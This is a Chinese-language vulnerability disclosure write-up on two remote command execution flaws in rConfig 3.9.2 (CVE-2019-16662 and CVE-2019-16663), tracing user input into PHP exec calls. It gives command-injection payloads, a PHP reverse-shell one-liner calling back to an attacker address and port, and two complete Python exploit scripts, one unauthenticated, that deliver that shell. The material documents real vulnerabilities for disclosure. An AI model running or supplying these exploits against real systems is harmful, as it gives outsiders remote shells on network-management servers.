0x00 前言
rConfig是一个开源网络设备配置管理解决方案,可以方便网络工程师快速、频繁管理网络设备快照。
我在rConfig的两个文件中找到了两个远程命令执行(RCE)漏洞,第一个文件为ajaxServerSettingsChk.php
,攻击者可以通过rootUname
参数发送精心构造的一个GET请求,触发未授权RCE漏洞。rootUname
参数在源文件第2行中定义,随后会在第13行传递给exec
函数。攻击者可以将恶意系统命令插入该参数中,在目标服务器上执行。该漏洞利用和发现过程比较简单,下文中我将介绍如何发现并利用该漏洞。
第二个漏洞位于search.crud.php
文件中,存在RCE漏洞。攻击者可以发送精心构造的GET请求触发该漏洞,请求中包含两个参数,其中searchTerm
参数可以包含任意值,但该参数必须存在,才能执行到第63行的exec
函数。
我像往常一样想寻找RCE漏洞,因此我使用自己开发的一个python脚本来搜索所有不安全的函数。
0x01 未授权RCE漏洞
运行脚本后,我看到了一些输出结果。检查文件后,我发现有个文件名为ajaxServerSettingsChk.php
,具体路径为install/lib/ajaxHandlers/ajaxServerSettingsChk.php
,部分代码如下:
<?php
$rootUname = $_GET['rootUname']; // line 2
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
$array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;br/&amp;gt;';
} else {
$array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is off&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1'; // line 12
exec($rootTestCmd1, $cmdOutput, $err); // line 13
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
$array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good &amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
} else {
$array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1'; // line 21
exec($rootTestCmd2, $cmdOutput, $err); // line 22
echo json_encode($array);
在第2行,脚本将GET请求中的rootUname
参数值保存到$rootUname
变量中。在第12行,代码将$rootUname
与一些字符串拼接在一起,保存到rootTestCmd1
变量,然后传递给第13行的exec
函数。后续代码逻辑与此类似。
因此,我们只需要注入自己的命令,在第13行跳出转义字符串,让代码执行即可。为了完成该任务,我们可以使用如下payload:
; your command #
为了测试payload,我修改了代码,回显13行的exec
函数结果,然后编码并发送payload,得到了如下结果:
如上图所示,我们可以通过rootUname
参数发送经过编码的; id #
命令,两次执行该命令。
因此,为了拿到shell,我们可以使用如下payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");
我之所以使用这个payload,是为了避免使用
nc
,该程序在CentOS 7.7 mini上并没有默认安装。
编码payload并使用Burp发送后,我们能看到如下结果:
我们成功拿到了shell!
为了自动化完成该过程,我简单编写了一个python代码来利用这个漏洞:
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
运行利用代码后,我们可以看到如下结果:
我们再次拿到了shell!
0x02 另一个RCE漏洞
在RCE扫描器的结果中,我又找到了另一个文件:lib/crud/search.crud.php
,其中包含如下代码:
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) { // line 25
/* validation */
$searchTerm = '"' . $_GET['searchTerm'] . '"'; // line 27
$catId = $_GET['catId'];
$catCommand = $_GET['catCommand']; // line 29
$nodeId = $_GET['nodeId']; // line 30
$grepNumLineStr = $_GET['numLinesStr'];
$grepNumLine = $_GET['noLines'];
$username = $_SESSION['username'];
// if nodeId was empty set it to blank
if (empty($nodeId)) {
$nodeId = '';
} else {
$nodeId = '/' . $nodeId . '/';
}
$returnArr = array();
// Get the category Name from the Category selected
$db2->query("SELECT categoryName from `categories` WHERE id = :catId");
$db2->bind(':catId', $catId);
$resultCat = $db2->resultset();
$returnArr['category'] = $resultCat[0]['categoryName'];
// get total file count
$fileCount = array();
$subDir = "";
if (!empty($returnArr['category'])) {
$subDir = "/" . $returnArr['category'];
}
exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr); // line 57
$returnArr['fileCount'] = $fileCountArr['0'];
//next find all instances of the search term under the specific cat/dir
$command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done'; // line 61
// echo $command;die();
exec($command, $searchArr); // line 63
首先,我们需要绕过第25行的if
语句。我们可以发送包含searchTerm
参数的GET请求,这样就能进入代码执行体,然后我们需要发送包含catCommand
参数的另一个GET请求,其中包含我们的payload,该参数随后会在第61行与一些字符串拼接起来后,存储到$command
变量中,该变量随后会在第63行传递给exec
函数执行。
因此这里我准备使用一个sleep
payload来测试这个逻辑,这个payload会尝试睡眠5秒,我们可以比较利用代码与正常代码的响应情况。观察代码61行,我们可以使用多个payload跳出字符串转义执行代码,这里我使用的是如下payload:
""&&$(`sleep 5`)#
使用Burp发送后,我们能得到如下结果:
成功了,sleep
逻辑生效,我们能确认命令已成功执行。
这里有各种方法可以测试
payload
,除了sleep
之外,我们也可以测试其他方法。
为了拿到shell,我使用了如下一行php代码,与其他字符串拼接起来,如下所示:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
为了自动化利用该漏洞,我开发了一段简单的python代码:
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
运行漏洞利用代码后,我们能看到如下结果:
我们成功拿到了shell!
0x03 漏洞披露
我在2019年9月19日向rConfig的主要开发人员反馈了这两个漏洞,但没有收到关于补丁公布日期的任何信息,开发者甚至没有通知我他们会修复该漏洞。
因此,等待35天后,我直接公布了利用代码。